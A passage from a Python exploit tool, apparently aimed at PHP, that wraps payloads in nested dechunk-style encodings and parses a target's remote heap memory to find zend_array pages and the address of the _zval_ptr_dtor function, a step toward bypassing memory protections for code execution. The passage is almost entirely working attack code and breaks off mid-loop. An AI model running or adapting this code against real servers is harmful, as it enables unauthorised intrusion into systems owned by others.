wraps = [0] * (step - 1)
for i in range(dechunks):
current_size = i * 8 + total_size
prefix = f"{current_size:06x}\n" + prefix
suffix += b"\n"
prefix = prefix.encode()
if prefix:
prefix = self.russian_doll(prefix, *wraps)
suffix = self.russian_doll(suffix, *wraps)
middle = b"".join(self.russian_doll(bucket, *wraps) for bucket in buckets)
return prefix + middle + suffix
def find_zval_ptr_dtor(self) -> int:
"""Finds the address of the `_zval_ptr_dtor` function in memory. To do so, we
look for a page that contains `zend_array` structures, and then we look for the
`pDestructor` field of the structure.
"""
assert self.zval_ptr_dtor is None
skip_until = 0
heap = MemoryDumper(self, self.heap)
for page in track(range(1, 512), "Looking for a [i]zend_array[/] page"):
if page < skip_until:
continue
offset = -0x40 + 0x0208 + 4 * page
(page_type,) = heap.dump(offset + 3, 1)
if page_type == 0x40:
(nb_pages,) = heap.unpack(offset, "<H")
skip_until = page + nb_pages
self.logger.debug(
f"Heap parsing, page #{page}: big allocation of {nb_pages} pages"
)
elif page_type == 0x80:
self.logger.debug(f"Heap parsing, page #{page}: small allocation")
# Find a page that contains arrays (0x38 has bin number 6)
value = heap.expect(offset, b"\x06")
if value:
self.logger.info(f"Heap parsing, page #{page}: 0x38 page")
msg_info(
f"Found first [i]zend_array (0x38)[/] page at [i]#{page}[/]"
)
page = heap.offset(-0x40 + PAGE_SIZE * page)
break
else:
failure("Unable to find [i]zend_array[/] page")
for p in track(range(0, 0x1000, 0x38), "Looking for [i]_zval_ptr_dtor[/]"):
# Check that the structure has type 7 (IS_ARRAY)
page.expect(p+4, b"\x07\x00\x00\x00")